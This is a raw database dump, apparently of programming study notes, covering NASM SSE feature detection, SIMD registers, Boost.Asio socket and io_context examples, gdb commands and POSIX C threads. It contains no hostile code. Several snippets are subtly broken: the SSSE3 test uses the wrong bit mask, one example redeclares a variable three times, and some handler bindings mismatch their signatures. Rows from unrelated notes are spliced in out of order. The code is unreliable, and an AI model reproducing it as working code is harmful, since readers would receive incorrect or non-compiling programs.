2024-07-28 09:57:34.6347 0 +736 148 call sse\n call sse2\n call sse3\n call ssse3\n call sse41\n call sse42 text txt 2024-07-28 09:57:34.65475 0 +737 148 xor rax, rax\n leave\n ret text txt 2024-07-28 09:57:34.676125 0 +738 148 sse:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.696975 0 +739 148 ; call also be done with bt instruction: bt r13, 25\n test r13, 2000000h ; test bit 25\n jz .sse_unsupported text txt 2024-07-28 09:57:34.718287 0 +740 148 xor rax, rax\n mov rdi, fmt_sse\n call printf text txt 2024-07-28 09:57:34.739571 0 +741 148 .sse_unsupported:\n leave\n ret text txt 2024-07-28 09:57:34.76032 0 +742 148 sse2:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.780372 0 +743 148 test r13, 4000000h ; test bit 26\n jz .sse2_unsupported text txt 2024-07-28 09:57:34.801282 0 +744 148 xor rax, rax\n mov rdi, fmt_sse2\n call printf text txt 2024-07-28 09:57:34.822337 0 +745 148 .sse2_unsupported:\n leave\n ret text txt 2024-07-28 09:57:34.843336 0 +746 148 sse3:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.863456 0 +747 148 test r12, 1 ; test bit 0\n jz .sse3_unsupported text txt 2024-07-28 09:57:34.884324 0 +748 148 xor rax, rax\n mov rdi, fmt_sse3\n call printf text txt 2024-07-28 09:57:34.9055 0 +749 148 .sse3_unsupported:\n leave\n ret text txt 2024-07-28 09:57:34.925946 0 +750 148 ssse3:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.947058 0 +751 148 test r12, 9 ; test bit 0\n jz .ssse3_unsupported text txt 2024-07-28 09:57:34.967438 0 +752 148 xor rax, rax\n mov rdi, fmt_ssse3\n call printf text txt 2024-07-28 09:57:34.988575 0 +753 148 .ssse3_unsupported:\n leave\n ret text txt 2024-07-28 09:57:35.008456 0 +754 148 sse41:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:35.028682 0 +755 148 test r12, 80000h ; test bit 19\n jz .sse41_unsupported text txt 2024-07-28 09:57:35.050297 0 +756 148 xor rax, rax\n mov rdi, fmt_sse41\n call printf text txt 2024-07-28 09:57:35.071449 0 +757 148 .sse41_unsupported:\n leave\n ret text txt 2024-07-28 09:57:35.091027 0 +758 148 sse42:\n push rbp\n mov rbp, rsp\n test r12, 100000h ; test bit 20\n jz .sse42_unsupported text txt 2024-07-28 09:57:35.110648 0 +759 148 xor rax, rax\n mov rdi, fmt_sse42\n call printf text txt 2024-07-28 09:57:35.131941 0 +760 148 .sse42_unsupported:\n leave\n ret code txt 2024-07-28 09:57:35.152822 0 +761 149 16 additional 128-bit registers of `xmm`: text txt 2024-07-28 09:57:35.444304 0 +762 149 * xmm0\n* ...\n* xmm15 text txt 2024-07-28 09:57:35.466133 0 +763 150 The `xmm` registers can contain **scalar data** or **packed data**.\nScalar data means just one value.\nPacked data means multiple values related to each other. text txt 2024-07-28 09:57:35.688534 0 +764 151 The **AVX** registers are called `ymm` registers and have 256 bits, double the size of `xmm` registers. text txt 2024-07-28 09:57:35.890709 0 +765 151 There is also **AVX-512** which provides 512 bits registers and are called `zmm` registers. text txt 2024-07-28 09:57:35.91136 0 +766 152 Data in section `.data` and `.bss` should be aligned on a 16-byte border so that registers can be filled with data once for each block of data. text txt 2024-07-28 09:57:36.095177 0 +767 153 In **NASM** the assembly directive `align 16` and `alignb 16` can be used in front of the data. text txt 2024-07-28 09:57:36.359083 0 +768 153 For **AVX**, data should be aligned on a 32 bytes border and for **AVX-512**, data needs to be aligned on a 64 bytes border. text txt 2024-07-28 09:57:36.381237 0 +769 154 **mxcsr**: MMX Control and Status Register code txt 2024-07-28 09:57:36.634005 0 +770 155 The TCP/IP standard does not standardize the protocol API implementation;\ntherefore, several API implementations exist. However, the one based on\nBerkeley Sockets API is the most widely used. text txt 2024-07-28 09:57:37.23184 0 +771 156 #include text txt 2024-07-28 09:57:37.629783 0 +772 156 int main()\n{\n boost::asio::ip::address_v4 address{boost::asio::ip::address_v4::from_string("127.0.0.1")};\n boost::asio::ip::address_v6 address{boost::asio::ip::address_v6::any()};\n boost::asio::ip::address address{boost::asio::ip::address::from_string("127.0.0.1")};\n boost::asio::ip::port_type port{80};\n} code txt 2024-07-28 09:57:37.651432 0 +773 157 A pair of values consisting of an IP address and a protocol port number that\nuniquely identifies a particular application running on a particular host in\na computer network is called an endpoint. text txt 2024-07-28 09:57:38.663138 0 +774 157 The client application uses an endpoint to designate a particular server\napplication it wants to communicate with. text txt 2024-07-28 09:57:38.68632 0 +775 157 1. Obtain the server application's IP address and port number. The IP address\n should be specified as a string in the dot-decimal (IPv4) or hexadecimal\n (IPv6) notation.\n2. Represent the raw IP address as an object of the `asio::ip::address`\n class.\n3. Instantiate the object of the `asio::ip::tcp::endpoint` class from the\n address object created in step 2 and a port number.\n4. The endpoint is ready to be used to designate the server application in\n Boost.Asio communication related methods. text txt 2024-07-28 09:57:38.708901 0 +776 157 The server application uses an endpoint to specify a local IP address and a\nport number on which it wants to receive incoming messages from clients. If\nthere is more than one IP address on the host, the server application will\nwant to create a special endpoint representing all IP addresses at once. text txt 2024-07-28 09:57:38.730345 0 +777 157 1. Obtain the protocol port number on which the server will listen for\n incoming requests.\n2. Create a special instance of the `asio::ip::address` object representing\n all IP addresses available on the host running the server.\n3. Instantiate an object of the `asio::ip::tcp::endpoint` class from the\n address object created in step 2 and a port number.\n4. The endpoint is ready to be used to specify to the operating system that\n the server wants to listen for incoming messages on all IP addresses and a\n particular protocol port number. text txt 2024-07-28 09:57:38.751767 0 +778 157 #include \n#include text txt 2024-07-28 09:57:38.773008 0 +779 157 int main()\n{\n boost::asio::ip::address address{boost::asio::ip::address::from_string("localhost")};\n boost::asio::ip::port_type port{80};\n boost::asio::ip::tcp::endpoint endpoint{address, port};\n} code txt 2024-07-28 09:57:38.794229 0 +780 158 #include text txt 2024-07-28 09:57:39.284294 0 +781 158 int main()\n{\n unsigned short port{8080};\n auto address{boost::asio::ip::address_v6::any()};\n boost::asio::ip::tcp::endpoint endpoint{address, port};\n} code txt 2024-07-28 09:57:39.306029 0 +782 158 The IP-protocol-version-agnostic class `asio::ip::address` does not provide\nthe `any()` method. The server application must explicitly specify whether it\nwants to receive requests either on IPv4 or on IPv6 addresses by using the\nobject returned by the `any()` method of either the `asio::ip::address_v4` or\n`asio::ip::address_v6` class correspondingly. text txt 2024-07-28 09:57:39.32776 0 +783 159 Basically, there are two types of sockets. A socket intended to be used to\nsend and receive data to and from a remote application or to initiate a\nconnection establishment process with it is called an active socket, whereas\na passive socket is the one used to passively wait for incoming connection\nrequests from remote applications. text txt 2024-07-28 09:57:39.758638 0 +784 159 #include text txt 2024-07-28 09:57:39.778877 0 +785 159 boost::asio::ip::tcp::socket{}; // active socket\nboost::asio::ip::tcp::acceptor{}; // passive socket code txt 2024-07-28 09:57:39.800023 0 +786 160 1. Create an instance of the `boost::asio::io_service` class or use the one\n that has been created earlier.\n2. Create an object of the class that represents the transport layer protocol\n (TCP or UDP) and the version of the underlying IP protocol (IPv4 or IPv6)\n over which the socket is intended to communicate.\n3. Create an object representing a socket corresponding to the required\n protocol type. Pass the object of `boost::asio::io_service` class to the\n socket's constructor.\n4. Call the socket's `open()` method, passing the object representing the\n protocol created in step 2 as an argument. text txt 2024-07-28 09:57:40.562914 0 +787 160 #include text txt 2024-07-28 09:57:40.582783 0 +788 160 int main()\n{\n boost::asio::io_context service;\n boost::asio::ip::tcp::socket socket{service};\n boost::asio::ip::tcp protocol{boost::asio::ip::tcp::v4()};\n socket.open(protocol);\n socket.close();\n} code txt 2024-07-28 09:57:40.603611 0 +789 160 The `boost::asio::ip::tcp::socket` constructor throws an exception of the\ntype `boost::system::system_error` if it fails. text txt 2024-07-28 09:57:40.623659 0 +790 160 In Boost.Asio, opening a socket means associating it with full set of\nparameters describing a specific protocol over which the socket is intended\nto be communicating. When the Boost.Asio socket object is provided with these\nparameters, it has enough information to allocate a real socket object of the\nunderlying operating system. text txt 2024-07-28 09:57:40.644149 0 +791 161 A passive socket or acceptor socket is a type of socket that is used to wait\nfor connection establishment requests from remote applications that\ncommunicate over the TCP protocol. text txt 2024-07-28 09:57:41.522803 0 +792 161 This definition has two important implications: text txt 2024-07-28 09:57:41.543327 0 +793 161 - Passive sockets are used only in server applications or hybrid applications\n that may play both roles of the client and server.\n- Passive sockets are defined only for the TCP protocol. As the UDP protocol\n doesn't imply connection establishment, there is no need for a passive\n socket when communication is performed over UDP. text txt 2024-07-28 09:57:41.56416 0 +794 161 To create an acceptor socket: text txt 2024-07-28 09:57:41.584233 0 +795 161 1. Create an instance of the `boost::asio::io_service` class or use the one\nthat has been created earlier.\n2. Create an object of the `boost::asio::ip::tcp` class that represents the TCP\nprotocol and the required version of the underlying IP protocol (IPv4 or\nIPv6).\n3. Create an object of the `boost::asio::ip::tcp::acceptor` class representing\nan acceptor socket, passing the object of the `boost::asio::io_service`\nclass to its constructor.\n4. Call the acceptor socket's `open()` method, passing the object representing\nthe protocol created in step 2 as an argument. text txt 2024-07-28 09:57:41.607344 0 +796 161 #include text txt 2024-07-28 09:57:41.627822 0 +797 161 int main()\n{\n boost::asio::io_context service;\n boost::asio::ip::tcp::acceptor acceptor{service};\n boost::asio::ip::tcp protocol{boost::asio::ip::tcp::v6()};\n acceptor.open(protocol);\n acceptor.close();\n} code txt 2024-07-28 09:57:41.649468 0 +798 162 The I/O context is a channel that is used to access operating system resources\nand establish communication between our program and the operating system that\nperforms I/O requests. text txt 2024-07-28 09:57:42.095134 0 +799 163 The I/O object has the role of submitting I/O requests. For instance, the\n`tcp::socket` object will provide a socket programming request from our\nprogram to the operating system. text txt 2024-07-28 09:57:42.340505 0 +800 164 Running the `io_service` object's event processing loop will block the\nexecution of the thread and will run ready handlers until there are no more\nready handlers remaining or until the `io_service` object has been stopped. text txt 2024-07-28 09:57:42.956018 0 +801 164 #include \n#include text txt 2024-07-28 09:57:42.979069 0 +802 164 int main()\n{\n boost::asio::io_service service;\n boost::asio::io_service::work work{service};\n service.run();\n // will not be reached: blocking service\n} code txt 2024-07-28 09:57:42.999371 0 +803 164 The `boost::asio::io_service::work` class is responsible for telling the\n`io_service` object when the work starts and when it has finished. It will\nmake sure that the `io_service::run()` function will not exit during the time\nthe work is underway. Also, it will make sure that the `io_service::run()`\nfunction exits when there is no unfinished work remaining. text txt 2024-07-28 09:57:43.020592 0 +804 165 The `poll()` function will run the `io_service` object's event processing loop\nwithout blocking the execution of the thread. This will run the handlers until\nthere are no more ready handlers remaining or until the `io_service` object\nhas been stopped. text txt 2024-07-28 09:57:43.552234 0 +805 165 #include \n#include text txt 2024-07-28 09:57:43.573337 0 +991 214 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:14.570394 0 +1274 252 return NULL;\n} code txt 2024-07-28 09:58:55.370282 0 +806 165 int main()\n{\n boost::asio::io_service service;\n boost::asio::io_service::work work{service};\n service.poll();\n // will be reached: non-blocking service\n} code txt 2024-07-28 09:57:43.594285 0 +807 166 The `post()` function requests the service to run its works after queueing up\nall the work. So it does not run the works immediately. text txt 2024-07-28 09:57:44.465407 0 +808 166 Any thread calling `io_service::run()` function will block execution and wait\nfor tasks to be enqueued, or finish existing tasks. Best practice is to attach\n`io_service` to slave threads so that they wait for tasks to be given and\nexecute them while master threads assign new tasks to them. text txt 2024-07-28 09:57:44.485931 0 +809 166 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:44.507006 0 +810 166 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:44.528579 0 +811 166 void some_work(std::size_t s)\n{\n std::this_thread::sleep_for(std::chrono::seconds(s));\n} text txt 2024-07-28 09:57:44.549592 0 +812 166 int main()\n{\n boost::asio::io_service service;\n std::thread worker{finish_tasks, std::ref(service)};\n service.post(std::bind(some_work, 2));\n worker.join();\n} code txt 2024-07-28 09:57:44.570479 0 +813 167 The `dispatch()` function requests the service to run its works right away\nwithout queueing up. text txt 2024-07-28 09:57:45.49615 0 +814 167 The `dispatch()` function can be invoked from the current worker thread, while\nthe `post()` function has to wait until the handler of the worker is complete\nbefore it can be invoked. In other words, the `dispatch()` function's events\ncan be executed from the current worker thread even if there are other pending\nevents queued up, while the `post()` function's events have to wait until the\nhandler completes the execution before being allowed to be executed. text txt 2024-07-28 09:57:45.517185 0 +815 167 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:45.53826 0 +816 167 void some_work(std::size_t s)\n{\n std::this_thread::sleep_for(std::chrono::seconds(s));\n} text txt 2024-07-28 09:57:45.55892 0 +817 167 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:45.579438 0 +818 167 int main()\n{\n boost::asio::io_service service;\n std::thread worker{finish_tasks, std::ref(service)};\n boost::asio::dispatch(service, std::bind(some_work, 2));\n worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:45.600419 0 +819 168 Strand is a class in the io_service object that provides handler\nexecution serialization. It can be used to ensure the work we have will be\nexecuted serially. text txt 2024-07-28 09:57:46.486656 0 +820 168 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:46.506771 0 +821 168 void some_work(std::size_t s)\n{\n std::this_thread::sleep_for(std::chrono::seconds(s));\n} text txt 2024-07-28 09:57:46.526348 0 +822 168 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:46.547882 0 +823 168 int main()\n{\n boost::asio::io_context service;\n boost::asio::io_context::strand strand{service};\n std::thread worker{finish_tasks, std::ref(service)};\n strand.post(std::bind(some_work, 2));\n service.post(strand.wrap(std::bind(some_work, 2)));\n worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:46.570871 0 +824 168 The `boost::asio::io_context::strand::wrap()` function creates a new handler\nfunction object that will automatically pass the wrapped handler to the strand\nobject's dispatch function when it is called. text txt 2024-07-28 09:57:46.592326 0 +825 169 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:47.510765 0 +826 169 std::mutex ostream_lock; text txt 2024-07-28 09:57:47.531877 0 +827 169 void some_work()\n{\n throw std::runtime_error("i/o failure");\n} text txt 2024-07-28 09:57:47.552649 0 +828 169 void finish_tasks(boost::asio::io_service& service)\n{\n try\n {\n service.run();\n }\n catch (std::runtime_error const& exp)\n {\n std::lock_guard lock{ostream_lock};\n std::cerr << exp.what() << "\\\\n";\n }\n} text txt 2024-07-28 09:57:47.574656 0 +829 169 int main()\n{\n boost::asio::io_context service;\n std::thread worker{finish_tasks, std::ref(service)};\n service.post(some_work);\n service.post(some_work); // no more io context to dispatch\n worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:47.595447 0 +830 170 #include \n#include \n#include text txt 2024-07-28 09:57:48.440166 0 +831 170 void some_work()\n{\n std::this_thread::sleep_for(std::chrono::seconds(2));\n} text txt 2024-07-28 09:57:48.461265 0 +832 170 void finish_tasks(boost::asio::io_service& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:48.482189 0 +833 170 void timer_handler(boost::system::error_code const&)\n{\n} text txt 2024-07-28 09:57:48.503761 0 +834 170 int main()\n{\n boost::asio::io_context service;\n boost::asio::io_context::strand strand{service};\n std::thread worker{finish_tasks, std::ref(service)};\n service.post(some_work); text txt 2024-07-28 09:57:48.525294 0 +835 170 boost::asio::deadline_timer timer{service};\n timer.expires_from_now(boost::posix_time::seconds(1));\n timer.async_wait(strand.wrap(timer_handler)); text txt 2024-07-28 09:57:48.54677 0 +836 170 worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:48.568183 0 +837 171 #include \n#include \n#include text txt 2024-07-28 09:57:49.375772 0 +838 171 void initialize_service(boost::asio::io_context& service)\n{\n service.run();\n} text txt 2024-07-28 09:57:49.397989 0 +839 171 int main()\n{\n boost::asio::io_context service;\n boost::asio::io_context::strand strand{service}; text txt 2024-07-28 09:57:49.418842 0 +840 171 std::thread worker{initialize_service, std::ref(service)}; text txt 2024-07-28 09:57:49.43909 0 +841 171 boost::asio::ip::tcp::socket socket{service};\n boost::asio::ip::tcp::resolver resolver{service};\n boost::asio::ip::tcp::resolver::query query{"127.0.0.1", std::to_string(9090)};\n boost::asio::ip::tcp::resolver::iterator iterator = resolver.resolve(query);\n boost::asio::ip::tcp::endpoint endpoint = *iterator; text txt 2024-07-28 09:57:49.461295 0 +842 171 socket.connect(endpoint);\n socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close(); text txt 2024-07-28 09:57:49.482154 0 +843 171 worker.join();\n service.stop();\n} code txt 2024-07-28 09:57:49.503704 0 +844 172 #include \n#include \n#include \n#include text txt 2024-07-28 09:57:50.447319 0 +845 172 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:50.467778 0 +846 172 void on_connect(boost::asio::ip::tcp::endpoint const& endpoint)\n{\n std::cout << "connected to " << endpoint.address().to_string() << std::endl;\n} text txt 2024-07-28 09:57:50.489903 0 +847 172 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n std::thread worker{connection_worker, std::ref(context)}; text txt 2024-07-28 09:57:50.511688 0 +848 172 boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context}; text txt 2024-07-28 09:57:50.53141 0 +849 172 boost::asio::ip::tcp::resolver::query query{"127.0.0.1", "9000"};\n boost::asio::ip::tcp::resolver::iterator endpoints = resolver.resolve(query); text txt 2024-07-28 09:57:50.551911 0 +850 172 boost::asio::ip::tcp::endpoint endpoint = *endpoints;\n socket.async_connect(endpoint, std::bind(on_connect, std::ref(endpoint))); text txt 2024-07-28 09:57:50.572308 0 +851 172 socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n worker.join();\n context.stop();\n} code txt 2024-07-28 09:57:50.593992 0 +852 173 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:51.822713 0 +853 173 static constexpr auto port{8888};\nstatic constexpr auto address{"127.0.0.1"}; text txt 2024-07-28 09:57:51.84274 0 +854 173 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:51.864218 0 +855 173 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context};\n boost::asio::ip::tcp::acceptor acceptor{context}; text txt 2024-07-28 09:57:51.887804 0 +856 173 std::thread worker(connection_worker, std::ref(context)); text txt 2024-07-28 09:57:51.908997 0 +857 173 boost::asio::ip::tcp::resolver::query query{address, std::to_string(port)};\n boost::asio::ip::tcp::resolver::iterator iterator{resolver.resolve(query)};\n boost::asio::ip::tcp::endpoint endpoint{*iterator}; text txt 2024-07-28 09:57:51.929792 0 +858 173 acceptor.open(endpoint.protocol());\n acceptor.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));\n acceptor.bind(endpoint);\n acceptor.listen(boost::asio::socket_base::max_connections); text txt 2024-07-28 09:57:51.950015 0 +859 173 boost::asio::ip::address local_addr{endpoint.address()};\n boost::asio::ip::port_type local_port{port};\n std::clog << "listening " << local_addr << ":" << local_port << std::endl; text txt 2024-07-28 09:57:51.971045 0 +860 173 acceptor.accept(socket); text txt 2024-07-28 09:57:51.990591 0 +861 173 boost::asio::ip::tcp::endpoint client{socket.remote_endpoint()};\n boost::asio::ip::address client_addr{client.address()};\n boost::asio::ip::port_type client_port{client.port()};\n std::clog << "client " << client_addr << ":" << client_port << std::endl; text txt 2024-07-28 09:57:52.012245 0 +862 173 acceptor.close();\n socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n context.stop();\n worker.join();\n} code txt 2024-07-28 09:57:52.033711 0 +863 174 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:53.393146 0 +864 174 static constexpr auto port{8888};\nstatic constexpr auto address{"127.0.0.1"}; text txt 2024-07-28 09:57:53.413728 0 +865 174 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:53.43519 0 +866 174 void on_accept(boost::asio::ip::tcp::socket& socket, std::shared_ptr work)\n{\n boost::asio::ip::tcp::endpoint client{socket.remote_endpoint()};\n boost::asio::ip::address client_addr{client.address()};\n boost::asio::ip::port_type client_port{client.port()};\n std::clog << "client " << client_addr << ":" << client_port << std::endl; text txt 2024-07-28 09:57:53.457768 0 +867 174 socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n work.reset();\n} text txt 2024-07-28 09:57:53.478459 0 +868 174 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n auto work{std::make_shared(context)};\n boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context};\n boost::asio::ip::tcp::acceptor acceptor{context}; text txt 2024-07-28 09:57:53.499381 0 +869 174 std::thread worker(connection_worker, std::ref(context)); text txt 2024-07-28 09:57:53.520132 0 +870 174 boost::asio::ip::tcp::resolver::query query{address, std::to_string(port)};\n boost::asio::ip::tcp::resolver::iterator iterator{resolver.resolve(query)};\n boost::asio::ip::tcp::endpoint endpoint{*iterator}; text txt 2024-07-28 09:57:53.541774 0 +871 174 acceptor.open(endpoint.protocol());\n acceptor.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));\n acceptor.bind(endpoint);\n acceptor.listen(boost::asio::socket_base::max_connections); text txt 2024-07-28 09:57:53.563697 0 +872 174 boost::asio::ip::address local_addr{endpoint.address()};\n boost::asio::ip::port_type local_port{port};\n std::clog << "listening " << local_addr << ":" << local_port << std::endl; text txt 2024-07-28 09:57:53.584843 0 +873 174 acceptor.async_accept(socket, std::bind(on_accept, std::ref(socket), std::move(work))); text txt 2024-07-28 09:57:53.606733 0 +874 174 worker.join();\n acceptor.close();\n context.stop();\n} code txt 2024-07-28 09:57:53.627831 0 +875 175 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:57:56.474221 0 +876 175 static constexpr auto port{8888};\nstatic constexpr auto address{"127.0.0.1"}; text txt 2024-07-28 09:57:56.49464 0 +877 175 std::vector receive_buffer(4096);\nstd::size_t receive_buffer_index{};\nstd::list> send_buffer; text txt 2024-07-28 09:57:56.515612 0 +878 175 void connection_worker(boost::asio::io_context&);\nvoid on_send(boost::asio::ip::tcp::socket&, std::list>::iterator);\nvoid send(boost::asio::ip::tcp::socket&, void const*, std::size_t);\nvoid on_receive(boost::asio::ip::tcp::socket&, std::size_t);\nvoid receive(boost::asio::ip::tcp::socket&);\nvoid on_accept(boost::asio::ip::tcp::socket&, std::shared_ptr); text txt 2024-07-28 09:57:56.537261 0 +879 175 void connection_worker(boost::asio::io_context& context)\n{\n context.run();\n} text txt 2024-07-28 09:57:56.55658 0 +880 175 void on_send(boost::asio::ip::tcp::socket& socket, std::list>::iterator node)\n{\n send_buffer.erase(node); text txt 2024-07-28 09:57:56.578278 0 +881 175 if (!send_buffer.empty())\n {\n boost::asio::async_write(\n socket,\n boost::asio::buffer(send_buffer.front()),\n std::bind(on_send, boost::asio::placeholders::error, send_buffer.begin())\n );\n }\n} text txt 2024-07-28 09:57:56.600764 0 +882 175 void send(boost::asio::ip::tcp::socket& socket, void const* buffer, std::size_t length)\n{\n std::vector output;\n std::copy((std::uint8_t const*)buffer, (std::uint8_t const*)buffer + length, std::back_inserter(output)); text txt 2024-07-28 09:57:56.622264 0 +883 175 send_buffer.push_back(output); text txt 2024-07-28 09:57:56.643115 0 +884 175 boost::asio::async_write(\n socket,\n boost::asio::buffer(send_buffer.front()),\n std::bind(on_send, boost::asio::placeholders::error, send_buffer.begin())\n );\n} text txt 2024-07-28 09:57:56.664208 0 +885 175 void on_receive(boost::asio::ip::tcp::socket& socket, std::size_t bytes_transferred)\n{\n receive_buffer_index += bytes_transferred; text txt 2024-07-28 09:57:56.685739 0 +992 214 struct stat filestat;\nif (stat(filepath, &filestat) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:14.591336 0 +886 175 for (std::size_t index{}; index < receive_buffer_index; ++index)\n {\n std::cout << (char)receive_buffer[index] << " ";\n }\n std::cout << std::endl;\n receive_buffer_index = 0; text txt 2024-07-28 09:57:56.706771 0 +887 175 receive(socket);\n} text txt 2024-07-28 09:57:56.727287 0 +888 175 void receive(boost::asio::ip::tcp::socket& socket)\n{\n socket.async_read_some(\n boost::asio::buffer(\n &receive_buffer[receive_buffer_index],\n receive_buffer.size() - receive_buffer_index\n ),\n std::bind(on_receive, std::ref(socket), 1)\n );\n} text txt 2024-07-28 09:57:56.747909 0 +889 175 void on_accept(boost::asio::ip::tcp::socket& socket, std::shared_ptr work)\n{\n boost::asio::ip::tcp::endpoint client{socket.remote_endpoint()};\n boost::asio::ip::address client_addr{client.address()};\n boost::asio::ip::port_type client_port{client.port()};\n std::clog << "client " << client_addr << ":" << client_port << std::endl; text txt 2024-07-28 09:57:56.769697 0 +890 175 send(socket, "payload", 7);\n receive(socket); text txt 2024-07-28 09:57:56.789312 0 +891 175 socket.shutdown(boost::asio::ip::tcp::socket::shutdown_both);\n socket.close();\n work.reset();\n} text txt 2024-07-28 09:57:56.80977 0 +892 175 int main()\n{\n boost::asio::io_context context{};\n boost::asio::io_context::strand strand{context};\n auto work{std::make_shared(context)};\n boost::asio::ip::tcp::socket socket{context};\n boost::asio::ip::tcp::resolver resolver{context};\n boost::asio::ip::tcp::acceptor acceptor{context}; text txt 2024-07-28 09:57:56.83164 0 +893 175 std::thread worker(connection_worker, std::ref(context)); text txt 2024-07-28 09:57:56.852207 0 +894 175 boost::asio::ip::tcp::resolver::query query{address, std::to_string(port)};\n boost::asio::ip::tcp::resolver::iterator iterator{resolver.resolve(query)};\n boost::asio::ip::tcp::endpoint endpoint{*iterator}; text txt 2024-07-28 09:57:56.873879 0 +895 175 acceptor.open(endpoint.protocol());\n acceptor.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));\n acceptor.bind(endpoint);\n acceptor.listen(boost::asio::socket_base::max_connections); text txt 2024-07-28 09:57:56.895147 0 +896 175 boost::asio::ip::address local_addr{endpoint.address()};\n boost::asio::ip::port_type local_port{port};\n std::clog << "listening " << local_addr << ":" << local_port << std::endl; text txt 2024-07-28 09:57:56.917512 0 +897 175 acceptor.async_accept(socket, std::bind(on_accept, std::ref(socket), std::move(work))); text txt 2024-07-28 09:57:56.937865 0 +898 175 worker.join();\n acceptor.close();\n context.stop();\n} code txt 2024-07-28 09:57:56.958952 0 +899 176 - `start`: starts debugging session by running program line-by-line.\n- `run`: starts debugging session running program as usual. text txt 2024-07-28 09:57:57.161903 0 +900 177 - `continue`: Will resume the execution of the program until it completes.\n- `step`: Executes program one more step. Step might be one line of source\n code or one machine instruction.\n- `next`: Executes program similar to `step`, but it only continues to the\n next line in the current stack frame and will not step into functions. text txt 2024-07-28 09:57:57.449305 0 +901 178 `list` displays 10 lines of source code. To see how many lines of source code\nwill be displayed enter `show listsize`. To adjust the lines of source code\ndisplayed enter `set listsize 20`. text txt 2024-07-28 09:57:57.65491 0 +902 179 break 50`\nbreak *main\nbreak *main+50\nbreak source.cpp:main+50 code txt 2024-07-28 09:57:57.954518 0 +903 180 `delete 1` text txt 2024-07-28 09:57:58.156083 0 +904 181 `print ` text txt 2024-07-28 09:57:58.342796 0 +905 182 `set var random_number = 5` text txt 2024-07-28 09:57:58.54653 0 +906 183 `whatis random_number` text txt 2024-07-28 09:57:58.732603 0 +907 184 `shell pwd` text txt 2024-07-28 09:57:58.954757 0 +908 186 #include \n#include \n#include text txt 2024-07-28 09:57:59.877582 0 +909 186 void* handler(void*); text txt 2024-07-28 09:57:59.898533 0 +910 186 int main(void)\n{\npthread_t thread; text txt 2024-07-28 09:57:59.920502 0 +911 186 if (pthread_create(&thread, NULL, handler, NULL))\nreturn(errno); text txt 2024-07-28 09:57:59.94052 0 +912 186 if (pthread_join(thread, NULL))\nreturn(errno);\n} text txt 2024-07-28 09:57:59.960917 0 +913 186 void* handler(void* arg)\n{\n(void)arg;\nprintf("working thread\\\\n");\nreturn NULL;\n} code txt 2024-07-28 09:57:59.981269 0 +914 193 man 1 man code txt 2024-07-28 09:58:01.402705 0 +915 194 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 201712L\n#endif text txt 2024-07-28 09:58:02.266136 0 +916 194 #include \n#include \n#include text txt 2024-07-28 09:58:02.287403 0 +917 194 int print_user_value(char const* str); text txt 2024-07-28 09:58:02.308194 0 +918 194 int main(int argc, char **argv)\n{\nint result = -1; text txt 2024-07-28 09:58:02.329174 0 +919 194 if (argc == 1)\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nelse\nresult = print_user_value(argv[1]); text txt 2024-07-28 09:58:02.351411 0 +920 194 return result;\n} text txt 2024-07-28 09:58:02.37198 0 +921 194 int print_user_value(char const* str)\n{\nerrno = 0;\nlong double input = strtold(str, NULL); text txt 2024-07-28 09:58:02.392397 0 +922 194 if (errno)\nfprintf(stderr, "cannot convert %s to long double\\\\n", str);\nelse\nfprintf(stdout, "%.2Lf\\\\n", input); text txt 2024-07-28 09:58:02.412095 0 +923 194 return errno;\n} code txt 2024-07-28 09:58:02.431882 0 +924 195 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 201108L\n#endif text txt 2024-07-28 09:58:03.41944 0 +925 195 #ifndef _GNU_SOURCE\n#define _GNU_SOURCE 5000L\n#endif text txt 2024-07-28 09:58:03.441551 0 +926 195 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:03.462306 0 +927 195 int main(int argc, char **argv)\n{\nint option = 0; text txt 2024-07-28 09:58:03.484161 0 +928 